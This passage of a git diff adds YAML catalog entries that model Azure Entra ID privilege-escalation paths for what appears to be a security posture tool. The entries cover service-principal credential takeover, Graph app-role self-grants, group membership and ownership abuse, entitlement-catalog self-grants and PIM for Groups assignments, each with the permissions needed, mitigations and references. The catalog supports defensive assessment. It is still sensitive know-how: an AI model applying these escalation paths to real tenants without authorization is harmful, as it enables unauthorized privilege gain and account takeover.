that permits credential writes. + - id: app_management_policy + description: Application management policies can block password credentials or restrict credential lifetimes for the owned app. + - id: service_principal_conditional_access + description: Conditional Access for workload identities can block sign-in of the target service principal. + blockers: [] + confidence: conditional + severity: high + mitigation: Do not make non-Tier-0 users or service principals owners of apps whose service principals hold privileged roles or app permissions; review app owners regularly. + references: + - https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/custom-available-permissions + notes: Owners also include service principals that own other apps. The selector binds a recorded owner to the exact local application and its enabled Application-type service principal. App-only owners require an enabled Microsoft Graph application role; user owners still need delegated Graph authorization. Severity should be raised to critical when the owned app's SP holds privileged roles or Graph app roles. Source is the owners/update section, which states that ownership gives control of the app's credentials. + +- id: azure-entraid-sp-credentials-update + provider: azure + service: entraid + title: Add credentials to any service principal + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#microsoftdirectoryserviceprincipalscredentialsupdate + source_revision: 65b88f8aae + summary: A principal allowed to update service-principal credentials can obtain the privileges of any application-type service principal in its scope. + requires: + any_of: + - - entra_permission: microsoft.directory/servicePrincipals/credentials/update + scope: "{target.scope}" + - - entra_permission: microsoft.directory/servicePrincipals/allProperties/update + scope: "{target.scope}" + - - graph_app_permission: Application.ReadWrite.All + - - graph_app_permission: Directory.ReadWrite.All + target: + kind: azure_service_principal + selector: + entra_sp_type_in: [Application] + entra_sp_credential_takeover_target: true + entra_role_assignment_scope_covers_target: true + scope: tenant + aggregate_as: "Application-type service principals in {scope}" + conditions: + - id: service_principal_conditional_access + description: Conditional Access for workload identities can block sign-in of the target service principal. + - id: microsoft_first_party_sp + description: Microsoft first-party service principals may reject or ignore tenant-added credentials; validate per app. + blockers: + - sp_lock_configuration_credentials + confidence: conditional + severity: critical + mitigation: Minimise Application/Cloud Application Administrator, enable servicePrincipalLockConfiguration (app instance property lock) on apps, and monitor credential additions on service principals. + references: + - https://learn.microsoft.com/en-us/graph/api/resources/serviceprincipallockconfiguration?view=graph-rest-1.0 + - https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/permissions-reference#application-administrator + notes: Directory-role permissions authorize the delegated-user path. The listed Graph application permissions authorize the app-only path, including foreign application service principals. Managed-identity and disabled service principals are excluded. When the home application is present, an enabled app instance property lock on verification credentials blocks this path. For external home applications the lock cannot be read from this tenant, so the result remains conditional. + +- id: azure-entraid-sp-owners-update + provider: azure + service: entraid + source_kind: azure_user + title: Make yourself owner of any service principal + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#microsoftdirectoryserviceprincipalsownersupdate + source_revision: 69a9f502d3 + summary: A principal allowed to update service-principal owners can obtain the privileges of any application-type service principal in its scope. + requires: + all_of: + - entra_permission: microsoft.directory/servicePrincipals/owners/update + scope: "{target.scope}" + target: + kind: azure_service_principal + selector: + entra_sp_type_in: [Application] + entra_sp_owner_update_target: true + entra_role_assignment_scope_covers_target: true + scope: tenant + aggregate_as: "Application-type service principals in {scope}" + conditions: + - id: service_principal_conditional_access + description: Conditional Access for workload identities can block sign-in of the target service principal. + blockers: + - sp_lock_configuration_credentials + confidence: conditional + severity: critical + mitigation: Restrict servicePrincipals/owners/update and alert on "Add owner to service principal" events. + references: + - https://learn.microsoft.com/en-us/graph/api/serviceprincipal-post-owners?view=graph-rest-1.0 + - https://learn.microsoft.com/en-us/graph/api/serviceprincipal-addpassword?view=graph-rest-1.0 + notes: This is the delegated-user directory-role path; Graph application permissions that can add owners already give application principals a direct credential path. The target must be enabled and not already owned by the source. Adding an owner and then a credential requires delegated Graph authorization. A known home-application credential lock blocks the credential path; an uncollected owner list remains conditional. + +- id: azure-entraid-sp-owner-credentials + provider: azure + service: entraid + title: Service principal owner adds credentials to the owned service principal + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#microsoftdirectoryserviceprincipalsownersupdate + source_revision: 232f075d33 + summary: A registered owner of a service principal can obtain the privileges of that service principal. + requires: + all_of: + - entra_owner_of: "{target.id}" + object_type: servicePrincipal + target: + kind: azure_service_principal + selector: + entra_sp_type_in: [Application] + entra_source_is_owner_of_service_principal: true + scope: tenant + aggregate_as: "Service principals owned by {source}" + conditions: + - id: service_principal_conditional_access + description: Conditional Access for workload identities can block sign-in of the target service principal. + blockers: + - sp_lock_configuration_credentials + confidence: conditional + severity: high + mitigation: Remove non-Tier-0 owners from privileged service principals. + references: + - https://learn.microsoft.com/en-us/graph/api/serviceprincipal-addpassword?view=graph-rest-1.0 + - https://learn.microsoft.com/en-us/graph/api/serviceprincipal-list-owners?view=graph-rest-1.0 + notes: Ownership is bound to the exact enabled service principal. An app-only owner requires an enabled Graph application permission including Application.ReadWrite.OwnedBy; a user owner requires delegated Graph authorization. A known home-application credential lock blocks this path. Severity should be raised to critical when the owned service principal holds privileged directory roles or Graph app roles. + +- id: azure-entraid-graph-application-readwrite-all + provider: azure + service: entraid + title: Graph Application.ReadWrite.All adds credentials to tenant applications + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#applicationreadwriteall + source_revision: 171e422 + summary: A service principal holding the Graph Application.ReadWrite.All application permission can add a credential to a tenant-owned application and obtain its service principal's privileges. + requires: + all_of: + - graph_app_permission: Application.ReadWrite.All + target: + kind: azure_service_principal + selector: + entra_sp_type_in: [Application] + entra_graph_application_credential_target: true + scope: tenant + aggregate_as: "Application-type service principals in {scope}" + conditions: + - id: service_principal_conditional_access + description: Conditional Access for workload identities can block sign-in of the target service principal. + - id: sp_lock_configuration_credentials + description: An app instance property lock blocks service-principal-object credentials for foreign apps; tenant-owned application credentials remain a separate route. + - id: app_management_policy + description: Application management policies may restrict credential creation or lifetime on the target application. + blockers: [] + confidence: conditional + severity: critical + mitigation: Replace Application.ReadWrite.All with Application.ReadWrite.OwnedBy or no write permission, and treat apps holding it as Tier 0. + references: + - https://learn.microsoft.com/en-us/graph/api/application-addpassword?view=graph-rest-1.0 + - https://learn.microsoft.com/en-us/graph/permissions-reference + notes: Application.ReadWrite.OwnedBy limits this to objects the calling service principal owns (model via azure-entraid-app-owner-credentials). A foreign application's local service principal may also accept addPassword, but this remains unresolved when the foreign app's instance lock is not observable. + +- id: azure-entraid-graph-approleassignment-readwrite-all + provider: azure + service: entraid + title: Graph AppRoleAssignment.ReadWrite.All self-grants Graph application roles + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#approleassignmentreadwriteall + source_revision: 171e422 + summary: A service principal with Graph app-role assignment and application-read permission can grant itself Graph application permissions and then manage Entra directory role assignments. + requires: + all_of: + - graph_app_permission: AppRoleAssignment.ReadWrite.All + any_of: + - - graph_app_permission: Application.Read.All + - - graph_app_permission: Directory.Read.All + - - graph_app_permission: Application.ReadWrite.All + - - graph_app_permission: Directory.ReadWrite.All + target: + kind: entra_role + selector: + entra_role_assignable: any + entra_graph_self_grant_directory_role: true + scope: tenant + aggregate_as: "Every Entra directory role (via self-granted Graph app roles) in {scope}" + conditions: + - id: new_token_required + description: Newly granted app roles appear only in tokens issued after the assignment. + blockers: + - service_principal_conditional_access_block + confidence: conditional + severity: critical + mitigation: Never grant AppRoleAssignment.ReadWrite.All outside Tier-0 automation; alert on appRoleAssignment creation by service principals. + references: + - https://learn.microsoft.com/en-us/graph/api/serviceprincipal-post-approleassignments?view=graph-rest-1.0 + notes: Microsoft requires application or directory read permission alongside AppRoleAssignment.ReadWrite.All for service-principal app-role assignments. The directory-role reach depends on the Microsoft Graph service principal exposing an enabled RoleManagement.ReadWrite.Directory application role; newly granted app roles only appear in newly issued tokens. + +- id: azure-entraid-agent-blueprint-credentials + provider: azure + service: entraid + title: Add credentials to an Entra Agent ID blueprint and act as its agents + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#entra-agent-id-blueprint-credential-abuse-agentidentityblueprintaddremovecredsall + source_revision: 2ed8c7001d + summary: A principal allowed to add credentials to a specific agent identity blueprint can authenticate as its blueprint principal and may act as its linked child agent identities. + requires: + any_of: + - - graph_app_permission: AgentIdentityBlueprint.AddRemoveCreds.All + - - graph_app_permission: AgentIdentityBlueprint.ReadWrite.All + - - entra_permission: microsoft.directory/agentIdentityBlueprints/credentials/update + - - entra_owner_of: "*" + object_type: application + target: + kind: azure_service_principal + selector: + entra_agent_blueprint_principal_or_child_identity: true + scope: tenant + aggregate_as: "Agent identity blueprint principals and their child agent identities in {scope}" + conditions: + - id: agent_token_exchange + description: Acting as a child agent identity requires a successful blueprint-to-agent token exchange using that child's app ID as fmi_path. Delegated role holders also need an authorized Graph client with the credential-write scope. + blockers: [] + confidence: conditional + severity: high + mitigation: Grant AgentIdentityBlueprint.AddRemoveCreds.All only to dedicated provisioning identities, separate dev/prod blueprints, and alert on addPassword against blueprint applications. + references: + - https://learn.microsoft.com/en-us/entra/agent-id/agent-blueprint + - https://learn.microsoft.com/en-us/entra/agent-id/autonomous-agent-authentication-authorization-flow + notes: Microsoft Graph v1 has a dedicated agentIdentityBlueprint addPassword API. The evaluator joins the exact home-tenant blueprint appId to its blueprint principal and the child agentIdentityBlueprintId, and rechecks directory-role scope or recorded user ownership against the exact blueprint application object. Agent ID Administrator, AI Administrator and Global Administrator may hold the directory permission, but a delegated Graph credential-write scope is still required. Ownership reaches child agents only through the same exact blueprint join. Entra Agent ID remains a newer feature; validate behaviour per tenant. diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/entraid_governance.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/entraid_governance.yaml new file mode 100644 index 0000000000..0df42ee3a2 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/entraid_governance.yaml @@ -0,0 +1,129 @@ +# catalog_description: Active Azure entries require an identified source principal or intrinsic credential foothold, +# X permission or capability enabling a stated action, and an exact target principal credential, token, +# role/group membership, or additional permissions granted to the caller. Secret/config reads alone +# are excluded unless verified content establishes a usable credential for a named target principal. +# Canonical policy: peaso/privesc/catalog_policy.yaml +# Entra ID Governance (Entitlement Management) techniques (declarative only). +# Source: hacktricks-cloud az-entra-id-governance-privesc.md, az-persistence/az-entra-id-governance-persistence.md (rev 171e422). +# Catalog roles (Catalog owner, Access package manager, Access package assignment manager) are not Entra directory +# roles. Facts needed (not collected yet -> unknown): entitlement_role_assignment {principalId, roleDefinitionId, +# roleDefinition.displayName, appScopeId}, entitlement_catalog_resource {catalogId, originId}, +# entitlement_assignment_policy {accessPackageId, allowedTargetScope, automaticRequestSettings, specificAllowedTargets}, +# entitlement_access_package_resource {accessPackageId, originId}. Only resources already in a catalog are reachable: +# adding a new group or app to a catalog needs ownership / write on that resource. + +- id: azure-entraid-entitlement-catalog-self-grant-group + provider: azure + service: entraid + title: Catalog-scoped self-grant of a group packaged in a catalog the source manages + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entra-id-governance-privesc.md#catalog-scoped-self-grant-privesc + source_revision: 171e422 + summary: A Catalog owner or Access package manager can package a group already in its catalog behind a no-approval policy (an assignment manager can assign an existing package) and obtain membership or ownership of that group. + source_selector: + source_reaches_kind: azure_user + requires: + all_of: [] + any_of: + - - entra_catalog_role: Catalog owner + catalog: '{target.catalog}' + - - entra_catalog_role: Access package manager + catalog: '{target.catalog}' + - - entra_catalog_role: Access package assignment manager + catalog: '{target.catalog}' + - - graph_app_permission: EntitlementManagement.ReadWrite.All + - - entra_role: Identity Governance Administrator + target: + kind: entra_group + selector: + entra_resource_in_catalog: true + entra_catalog_self_grant_group: true + scope: tenant + aggregate_as: "Groups in Entitlement Management catalogs managed by the source" + conditions: + - id: assignment_manager_existing_packages_only + description: An Access package assignment manager can only assign access packages that already contain the group; it cannot create packages or policies. + - id: governance_license_required + description: Entitlement Management requires Entra ID P2 / ID Governance licensing. + blockers: + - access_package_approval_by_other_principal + confidence: conditional + severity: high + mitigation: Restrict catalog roles and EntitlementManagement.ReadWrite.All, keep role-assignable and app-owning groups out of delegated catalogs, and require approval by another principal on packages that grant privileged groups. + references: + - https://learn.microsoft.com/en-us/entra/id-governance/entitlement-management-delegate + - https://learn.microsoft.com/en-us/graph/api/resources/entitlementmanagement-overview + notes: Grants are logged under EntitlementManagement (Fulfill access package assignment), not as group membership adds. The tenant-wide alternatives (Graph permission, Identity Governance Administrator) reach every group in any catalog. + +- id: azure-entraid-entitlement-catalog-self-grant-role + provider: azure + service: entraid + title: Catalog-scoped self-grant of an Entra role packaged in a catalog the source manages + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entra-id-governance-privesc.md#catalog-scoped-self-grant-privesc + source_revision: 171e422 + summary: A catalog manager can package a Microsoft Entra role already added to its catalog behind a no-approval policy and obtain that role. + source_selector: + source_reaches_kind: azure_user + requires: + all_of: [] + any_of: + - - entra_catalog_role: Catalog owner + catalog: '{target.catalog}' + - - entra_catalog_role: Access package manager + catalog: '{target.catalog}' + - - entra_catalog_role: Access package assignment manager + catalog: '{target.catalog}' + - - graph_app_permission: EntitlementManagement.ReadWrite.All + - - entra_role: Identity Governance Administrator + target: + kind: entra_role + selector: + entra_resource_in_catalog: true + entra_catalog_self_grant_role: true + scope: tenant + aggregate_as: "Entra roles in Entitlement Management catalogs managed by the source" + conditions: + - id: assignment_manager_existing_packages_only + description: An Access package assignment manager can only assign access packages that already contain the role. + - id: role_in_catalog_feature + description: Entra roles as access package resources are only possible where the tenant has added them to a catalog; directory roles cannot be added by a catalog owner without role-management permissions. + blockers: + - access_package_approval_by_other_principal + confidence: conditional + severity: critical + mitigation: Do not add privileged Entra roles to delegated catalogs, and require approval by another principal for packages that grant directory roles. + references: + - https://learn.microsoft.com/en-us/entra/id-governance/entitlement-management-roles + notes: Same catalog-role facts as azure-entraid-entitlement-catalog-self-grant-group. + +- id: azure-entraid-entitlement-auto-assignment-persistence + provider: azure + service: entraid + title: Create an auto-assignment policy that keeps re-granting catalog groups + source: src/pentesting-cloud/azure-security/az-persistence/az-entra-id-governance-persistence.md#auto-assignment-policy-abuse-persistence + source_revision: 9689c125e1 + summary: An Identity Governance Administrator or app with EntitlementManagement.ReadWrite.All can add an automatic-assignment policy to an existing access package that grants a group Member role to a user it controls. + requires: + any_of: + - - graph_app_permission: EntitlementManagement.ReadWrite.All + - - entra_role: Identity Governance Administrator + scope: "/" + source_selector: + source_reaches_kind: azure_user + target: + kind: entra_group + selector: + entra_auto_assignment_package_group: true + scope: tenant + aggregate_as: "Groups granted as members by existing access packages" + conditions: + - id: automatic_assignment_evaluation + description: The tenant needs Identity Governance licensing, a supported rule matching a controlled user, and successful policy evaluation to issue the assignment. + - id: delegated_graph_scope + description: A delegated user needs an app with EntitlementManagement.ReadWrite.All scope to create the policy. + blockers: [] + confidence: conditional + severity: high + mitigation: Alert on automatic-assignment policy creation and review policies whose attribute rules match few or external principals. + references: + - https://learn.microsoft.com/en-us/entra/id-governance/entitlement-management-access-package-auto-assignment-policy + notes: This path uses an existing access package with the target group's Member role, not any group merely present in a catalog. A user source can target itself; an app-only source needs a separately modeled path to a user it controls. Graph app-only permission must be an enabled role on the Microsoft Graph service principal. The policy can reassign access while the user still matches its rule. diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/entraid_groups.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/entraid_groups.yaml new file mode 100644 index 0000000000..e8caee55b9 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/entraid_groups.yaml @@ -0,0 +1,253 @@ +# catalog_description: Active Azure entries require an identified source principal or intrinsic credential foothold, +# X permission or capability enabling a stated action, and an exact target principal credential, token, +# role/group membership, or additional permissions granted to the caller. Secret/config reads alone +# are excluded unless verified content establishes a usable credential for a named target principal. +# Canonical policy: peaso/privesc/catalog_policy.yaml +# Entra ID group membership escalation (membership/owner write, group ownership, +# dynamic membership rules and attribute control). +# Source: hacktricks-cloud az-entraid-privesc/README.md, az-entraid-privesc/dynamic-groups.md, +# az-services/az-azuread.md (rev 171e422; all entries re-verified against the page text at that revision). +# +# Target kind entra_group (SCHEMA EXTENSION): obtaining membership of the group, i.e. the +# group's Entra role assignments (role-assignable groups only), Azure RBAC assignments, +# app-role assignments and any other access granted to the group. +# +# Protections encoded in selectors: +# - Role-assignable groups (isAssignableToRole=true) are excluded from the granular +# groups/* permissions and from Group.ReadWrite.All; only Privileged Role Administrator, +# Global Administrator, RoleManagement.ReadWrite.Directory and the group's owners can +# change their membership. They cannot be dynamic and cannot contain groups. +# - Groups in a restricted management AU can only be modified by admins assigned at that +# RMAU scope; owners and tenant-scoped admins (incl. Global Administrator) are blocked +# and Graph application permissions do not apply. + +- id: azure-entraid-group-members-update + provider: azure + service: entraid + title: Add yourself to non-role-assignable groups + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#microsoftdirectorygroupsmembersupdate + source_revision: 171e422 + summary: An enabled principal with group membership update permission can join a cloud-managed assigned group it does not already belong to, when the group's type and directory scope permit the change. + requires: + any_of: + - - entra_permission: microsoft.directory/groups/members/update + scope: "{target.scope}" + - - entra_permission: microsoft.directory/groups/allProperties/update + scope: "{target.scope}" + - - entra_permission: microsoft.directory/groups.security/members/update + scope: "{target.scope}" + - - entra_permission: microsoft.directory/groups.unified/members/update + scope: "{target.scope}" + target: + kind: entra_group + selector: + entra_group_role_assignable: false + entra_group_membership_type: assigned + entra_group_membership_cloud_writable: true + entra_group_new_self_membership: true + entra_group_type_covered_by_permission: true + entra_role_assignment_scope_covers_target: true + entra_target_not_in_restricted_au: true + scope: tenant + aggregate_as: "Assigned, non-role-assignable groups in {scope}" + conditions: + - id: on_prem_synced_group + description: Membership of groups synchronised from on-premises AD cannot be changed in Entra. + blockers: + - restricted_management_au + confidence: derived + severity: high + mitigation: Do not grant Azure RBAC Owner/User Access Administrator or sensitive app roles to ordinary security groups; use role-assignable groups or restricted management AUs for privileged groups. + references: + - https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/custom-available-permissions + - https://learn.microsoft.com/en-us/graph/api/group-post-members?view=graph-rest-1.0 + notes: groups.security/* covers security groups and groups.unified/* covers Microsoft 365 groups only. Mail-enabled security and distribution groups are excluded. A service principal additionally needs Graph group-write and application-write permissions and cannot join a Microsoft 365 group. Existing direct or nested membership does not grant new access. Groups holding Azure RBAC at subscription/management-group scope can carry the edge into the Azure resource plane. + +- id: azure-entraid-graph-group-readwrite-all + provider: azure + service: entraid + title: Graph group permissions add the calling app to security groups + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#sensitive-graph-permissions + source_revision: 171e422 + summary: A service principal with Graph group-write and application-write permission can add itself to a cloud-managed security group that is not role-assignable or restricted by an administrative unit. + requires: + any_of: + - - graph_app_permission: Group.ReadWrite.All + - - graph_app_permission: GroupMember.ReadWrite.All + - - graph_app_permission: Directory.ReadWrite.All + target: + kind: entra_group + selector: + entra_group_role_assignable: false + entra_group_membership_type: assigned + entra_group_membership_cloud_writable: true + entra_graph_group_sp_membership: true + entra_target_not_in_restricted_au: true + scope: tenant + aggregate_as: "Assigned, non-role-assignable groups in {scope}" + conditions: + - id: on_prem_synced_group + description: Membership of groups synchronised from on-premises AD cannot be changed in Entra. + - id: service_principal_member_needs_application_permission + description: Adding a service principal as a member additionally requires Application.ReadWrite.All or Directory.ReadWrite.All application permission. + blockers: + - restricted_management_au + confidence: derived + severity: high + mitigation: Prefer GroupMember.ReadWrite.All scoped alternatives or resource-specific consent, and keep privileged groups role-assignable or in restricted management AUs. + references: + - https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/groups-concept + - https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/admin-units-restricted-management#programmability + notes: Microsoft states Group.ReadWrite.All does not work on role-assignable groups (RoleManagement.ReadWrite.Directory is required). Microsoft 365 groups cannot contain service principals, and mail-enabled security groups are read-only in Graph. A separate controlled-user path covers an app that lacks application-write permission but can add a user it controls. + +- id: azure-entraid-group-owners-update + provider: azure + service: entraid + title: Make yourself owner of non-role-assignable groups + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#microsoftdirectorygroupsownersupdate + source_revision: 171e422 + summary: An enabled principal allowed to add group owners can first make itself an owner, then join a supported assigned group it does not already belong to. + requires: + any_of: + - - entra_permission: microsoft.directory/groups/owners/update + scope: "{target.scope}" + - - entra_permission: microsoft.directory/groups.security/owners/update + scope: "{target.scope}" + - - entra_permission: microsoft.directory/groups.unified/owners/update + scope: "{target.scope}" + target: + kind: entra_group + selector: + entra_group_role_assignable: false + entra_group_membership_type: assigned + entra_group_membership_cloud_writable: true + entra_group_new_self_membership: true + entra_group_source_not_owner: true + entra_group_type_covered_by_permission: true + entra_role_assignment_scope_covers_target: true + entra_target_not_in_restricted_au: true + scope: tenant + aggregate_as: "Assigned, non-role-assignable groups in {scope}" + conditions: + - id: on_prem_synced_group + description: Membership of groups synchronised from on-premises AD cannot be changed in Entra. + blockers: + - restricted_management_au + confidence: derived + severity: high + mitigation: Restrict groups/owners/update and review owner additions on groups that hold access. + references: + - https://learn.microsoft.com/en-us/graph/api/group-post-owners?view=graph-rest-1.0 + notes: Owner update is useful as a separate escalation route only when the source is not already an owner or member. Group type, source type, exact directory scope and app-only Graph permissions still govern the membership step. Existing owners are handled by azure-entraid-group-owner-membership. + +- id: azure-entraid-group-owner-membership + provider: azure + service: entraid + title: Group owner joins an owned group + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#group-owner-joins-an-owned-group + source_revision: 4393380a88845b42bd208d3adbb6d61ad89f02fb + summary: An enabled owner can join an assigned group it does not already belong to, including a role-assignable group when its protected membership requirements are met. + requires: + all_of: + - entra_owner_of: "{target.id}" + object_type: group + target: + kind: entra_group + selector: + entra_group_membership_type: assigned + entra_group_membership_cloud_writable: true + entra_group_owner_new_self_membership: true + entra_target_not_in_restricted_au: true + scope: tenant + aggregate_as: "Assigned groups owned by {source}" + conditions: + - id: owner_is_service_principal + description: A service principal owner also needs a usable token with group write ability (e.g. app permission) to exercise ownership via Graph. + - id: on_prem_synced_group + description: Membership of groups synchronised from on-premises AD cannot be changed in Entra. + blockers: + - restricted_management_au + confidence: derived + severity: high + mitigation: Keep owners of role-assignable and privileged groups to Tier-0 administrators only; use PIM for Groups with approval for ownership. + references: + - https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/groups-concept + notes: The owner requirement joins the exact group and source. Microsoft documents delegation of role-assignable group membership management to owners, but Graph requires RoleManagement.ReadWrite.Directory for protected group membership updates. App-only self-membership also needs group-write and application-write permissions. Owners already in the group do not gain new access; restricted management AUs block this path. + +- id: azure-entraid-group-dynamic-rule-update + provider: azure + service: entraid + title: Rewrite a dynamic group's membership rule + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#microsoftdirectorygroupsdynamicmembershipruleupdate + source_revision: 171e422 + summary: A principal that can update a dynamic group's membership rule can bring an enabled user it controls into that group when the user does not already have its access. + source_selector: + source_reaches_kind: azure_user + source_reaches_user_outside_target_group: true + requires: + any_of: + - - entra_permission: microsoft.directory/groups/dynamicMembershipRule/update + scope: "{target.scope}" + - - entra_permission: microsoft.directory/groups/allProperties/update + scope: "{target.scope}" + - - graph_app_permission: Group.ReadWrite.All + - - graph_app_permission: Directory.ReadWrite.All + target: + kind: entra_group + selector: + entra_group_role_assignable: false + entra_group_membership_type: dynamic + entra_group_membership_cloud_writable: true + entra_role_assignment_scope_covers_target: true + entra_target_not_in_restricted_au: true + scope: tenant + aggregate_as: "Dynamic groups in {scope}" + conditions: + - id: dynamic_processing_delay + description: Membership is applied asynchronously by the dynamic membership processor; processing may be paused. + - id: license + description: Dynamic user membership requires Entra ID P1 licensing. + blockers: + - restricted_management_au + confidence: conditional + severity: high + mitigation: Restrict dynamicMembershipRule update and avoid granting Azure RBAC or sensitive app roles to dynamic groups. + references: + - https://learn.microsoft.com/en-us/graph/api/group-update?view=graph-rest-1.0 + notes: Dynamic groups admit users or devices, not service principals. The source must be an enabled user outside the group or have a separately evidenced path to control one; that user can be selected with a user.objectId membership rule. Role-assignable groups cannot be dynamic, so directory roles are never reached directly; the gain is the group's Azure RBAC or app access. Graph application group-write permissions may update membershipRule outside restricted management AUs; membership processing and licensing remain conditional. +- id: azure-entraid-graph-group-readwrite-all-controlled-user + provider: azure + service: entraid + title: Graph group permissions add a controlled user to groups + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#sensitive-graph-permissions + source_revision: 171e422 + summary: A service principal with Graph group-write permission can add a user it controls to a cloud-managed security or Microsoft 365 group outside a restricted administrative unit. + source_selector: + source_reaches_kind: azure_user + source_reaches_user_outside_target_group: true + requires: + any_of: + - - graph_app_permission: Group.ReadWrite.All + - - graph_app_permission: GroupMember.ReadWrite.All + - - graph_app_permission: Directory.ReadWrite.All + target: + kind: entra_group + selector: + entra_group_role_assignable: false + entra_group_membership_type: assigned + entra_group_membership_cloud_writable: true + entra_graph_group_user_membership: true + entra_target_not_in_restricted_au: true + scope: tenant + aggregate_as: "Groups that could receive a user controlled by {source}" + conditions: + - id: controlled_user_not_already_member + description: The controlled user must not already have the group's access. + blockers: + - restricted_management_au + confidence: conditional + severity: high + mitigation: Limit Graph group-write grants and protect privileged groups with role-assignable or restricted administrative unit controls. + references: + - https://learn.microsoft.com/en-us/graph/api/group-post-members?view=graph-rest-1.0 + notes: The source-to-user chain is required; group permissions alone do not establish control of a user. diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/entraid_pim.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/entraid_pim.yaml new file mode 100644 index 0000000000..db73ef1c1b --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/entraid_pim.yaml @@ -0,0 +1,131 @@ +# catalog_description: Active Azure entries require an identified source principal or intrinsic credential foothold, +# X permission or capability enabling a stated action, and an exact target principal credential, token, +# role/group membership, or additional permissions granted to the caller. Secret/config reads alone +# are excluded unless verified content establishes a usable credential for a named target principal. +# Canonical policy: peaso/privesc/catalog_policy.yaml +# Entra ID PIM for Groups escalation through the Microsoft Graph application plane. +# Source: hacktricks-cloud az-pim-privesc.md, az-entraid-privesc/README.md (rev 171e422). +# +# Target kind entra_group: obtaining membership of the group (its Entra role assignments if +# role-assignable, Azure RBAC assignments, app-role assignments and other access). +# Facts checked against Microsoft docs (2026-10): +# - privilegedAccessGroup assignmentScheduleRequests / eligibilityScheduleRequests: least +# privileged application permissions are PrivilegedAssignmentSchedule.ReadWrite.AzureADGroup +# and PrivilegedEligibilitySchedule.ReadWrite.AzureADGroup. The Entra-role restriction for +# role-assignable groups (Privileged Role Administrator) is documented for delegated access only. +# - Any security or Microsoft 365 group can be governed by PIM for Groups except dynamic +# membership groups and groups synchronised from on-premises (concept-pim-for-groups). +# - PIM for Groups policies have no default approvers; approvers cannot approve their own +# activation and service principals cannot approve (pim-approval-workflow). + +- id: azure-entraid-graph-pim-groups-active-assignment + provider: azure + service: entraid + title: Graph PrivilegedAssignmentSchedule.ReadWrite.AzureADGroup grants active group membership + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-pim-privesc.md#pim-for-groups-the-sneaky-path + source_revision: 171e422 + summary: A service principal holding PrivilegedAssignmentSchedule.ReadWrite.AzureADGroup can assign itself time-limited active membership in a cloud security group and obtain that group's privileges, including roles held by a role-assignable group. + requires: + all_of: + - graph_app_permission: PrivilegedAssignmentSchedule.ReadWrite.AzureADGroup + target: + kind: entra_group + selector: + entra_group_membership_type: assigned + entra_group_membership_cloud_writable: true + entra_pim_active_sp_membership: true + entra_target_not_in_restricted_au: true + scope: tenant + aggregate_as: "Assigned groups (incl. role-assignable) in {scope}" + conditions: + - id: on_prem_synced_group + description: Groups synchronised from on-premises AD cannot be governed by PIM for Groups. + - id: service_principal_active_assignment + description: A service principal can receive a time-limited active PIM for Groups membership assignment, but it cannot receive an eligible assignment. + - id: pim_assignment_policy + description: The group's PIM assignment policy (e.g. maximum active duration, permanent active assignment disallowed) bounds the assignment; it does not require approval for admin-created assignments. + blockers: + - restricted_management_au + - service_principal_conditional_access_block + confidence: conditional + severity: critical + mitigation: Treat PrivilegedAssignmentSchedule.ReadWrite.AzureADGroup as Tier 0, remove it from non-governance applications and alert on PIM for Groups assignments created by service principals. + references: + - https://learn.microsoft.com/en-us/graph/api/privilegedaccessgroup-post-assignmentschedulerequests?view=graph-rest-1.0 + - https://learn.microsoft.com/en-us/graph/permissions-reference#privilegedassignmentschedulereadwriteazureadgroup + - https://learn.microsoft.com/en-us/entra/id-governance/privileged-identity-management/concept-pim-for-groups + - https://learn.microsoft.com/en-us/entra/id-governance/privileged-identity-management/pim-deployment-plan + notes: Unlike Group.ReadWrite.All / GroupMember.ReadWrite.All this path is not limited to non-role-assignable groups, so a role-assignable group holding Global Administrator is reachable. Ownership assignments (accessId owner) reach the same target set. + +- id: azure-entraid-graph-pim-groups-eligibility + provider: azure + service: entraid + title: Graph PrivilegedEligibilitySchedule.ReadWrite.AzureADGroup creates self-activatable group eligibility + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#other-high-impact-microsoft-graph-permissions-directoryreadwriteall-groupmemberreadwriteall-synchronizationreadwriteall-privilegedeligibilityschedulereadwriteazureadgroup + source_revision: 171e422 + summary: A service principal holding PrivilegedEligibilitySchedule.ReadWrite.AzureADGroup can make a user it controls eligible for membership of a cloud-managed group, which that user can activate if the group's policy permits it. + source_selector: + source_reaches_kind: azure_user + source_reaches_user_outside_target_group: true + requires: + all_of: + - graph_app_permission: PrivilegedEligibilitySchedule.ReadWrite.AzureADGroup + target: + kind: entra_group + selector: + entra_group_membership_type: assigned + entra_group_membership_cloud_writable: true + entra_pim_controlled_user_eligibility: true + entra_target_not_in_restricted_au: true + scope: tenant + aggregate_as: "Assigned 